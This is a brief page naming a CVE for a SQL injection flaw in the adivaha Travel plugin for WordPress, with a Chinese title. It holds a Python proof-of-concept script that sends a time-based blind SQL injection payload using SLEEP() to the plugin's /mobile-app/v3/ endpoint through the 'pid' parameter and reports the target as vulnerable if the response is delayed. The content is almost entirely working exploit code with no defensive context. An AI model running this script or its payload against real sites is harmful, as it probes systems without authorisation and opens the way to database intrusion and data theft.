CVE-2023-54359 WordPress adivaha Travel插件SQL注入漏洞

import requests import time def check_sqli(url): # Target endpoint target = f"{url}/mobile-app/v3/" # Payload to test time-based blind SQL injection # Uses XOR-like obfuscation concept (simplified here) and SLEEP() # If the database sleeps, the condition is likely true payload = { "pid": "1' OR IF(1=1,SLEEP(5),0)-- -" } try: start = time.time() r = requests.get(target, params=payload, timeout=10) end = time.time() duration = end - start if duration >= 5: return f"[+] Vulnerable! Response took {duration:.2f} seconds." else: return f"[-] Not vulnerable or patched. Response took {duration:.2f} seconds." except Exception as e: return f"[!] Error: {e}" if __name__ == "__main__": target_host = "http://example.com" print(check_sqli(target_host))